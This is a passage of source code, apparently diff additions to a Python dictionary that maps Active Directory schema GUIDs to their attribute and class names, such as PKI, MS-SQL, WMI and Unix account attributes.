'2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', + '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', + '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', + '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', + 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', + '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', + 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', + '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', + 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', + 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', + '3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', + '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', + 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', + 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', + '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', + 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', + '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', + 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', + 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', + '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', + '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', + 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', + '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', + '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', + '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', + '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', + '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', + 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', + 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', + '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', + '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', + 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', + 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', + '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', + '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', + 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', + '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', + 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', + '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', + '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', + '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', + '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', + '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', + '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', + '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', + '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', + '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', + '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', + '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', + 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', + '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', + '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', + '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', + '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', + 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', + 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', + 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', + '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', + 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', + 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', + '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', + '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', + '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', + 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', + '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', + 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', + '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', + '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', + 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', + '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', + 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', + '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', + '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', + 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', + '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', + 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', + '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', + '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', + 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', + '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', + 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', + 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', + 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', + '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', + 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', + 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', + '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', + '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', + 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', + 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', + 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', + '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', + 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', + 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', + 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', + 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', + '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', + 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', + 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', + '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', + 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', + 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', + 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', + 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', + 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', + 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', + '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', + 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', + 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', + 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', + 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', + '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', + 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', + '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', + 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', + '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', + 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', + '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', + 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', + 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', + 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', + 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', + 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', + 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', + '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', + 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', + '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', + 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', + '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', + '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', + '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', + 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', + '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', + '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', + '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', + 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', + 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', + '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', + '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', + 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', + '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', + 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', + 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', + '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', + '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', + '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', + 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', + 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', + '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', + 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', + 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', + 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', + 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', + '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', + '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', + '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', + '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', + 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', + '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', + 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', + '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', + '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', + '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', + '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', + 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', + 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', + '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', + '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', + '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', + 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', + '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', + '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', + 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', + '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', + 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', + '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', + 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', + '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', + 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', + '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', + 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', + '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', + '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', + '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', + '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', + 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', + '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', + 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', + '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', + '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', + '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', + 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', + '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', + 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', + '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', + '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', + 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', + 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', + 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', + 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', + 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', + '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', + 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', + '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', + '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', + 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', + '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', + 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', + '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', + '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', + 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', + 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', + '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', + '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', + 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', + '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', + 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', + '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', + 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', + 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', + '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', + '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', + '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', + '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', + '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', + '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', + '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', + 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', + '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', + 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', + 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', + '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', + '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', + 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', + 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', + 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', + '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', + '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', + 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', + 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', + 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', + 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', + 'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', + 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', + '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', + 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', + 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', + 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', + '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', + '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', + 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', + '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', + 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', + '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', + 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', + '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', + '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', + 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', + 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', + 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', + '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', + 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', + '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', + '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', + '9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', + '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', + 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', + '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', + 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', + 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', + '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', + 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', + 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', + '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', + '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', + 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', + 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', + 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', + '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', + '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', + 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', + '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', + 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', + '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', + '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', + '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', + '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', + '6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', + 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', + 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', + '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', + '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', + 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', + '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', + 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', + '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', + 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', + 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', + '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', + 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', + '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', + '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', + 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', + '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', + 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', + 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', + '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', + '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', + 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', + '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', + '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', + 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', + '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', + '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', + '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', + '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', + 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', + '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', + 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', + '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', + '50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', + 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', + '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', + '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', + 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', + 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', + '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', + 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', + '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', + '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', + 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', + 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', + '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', + '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', + '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', + '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', + 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', + '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', + 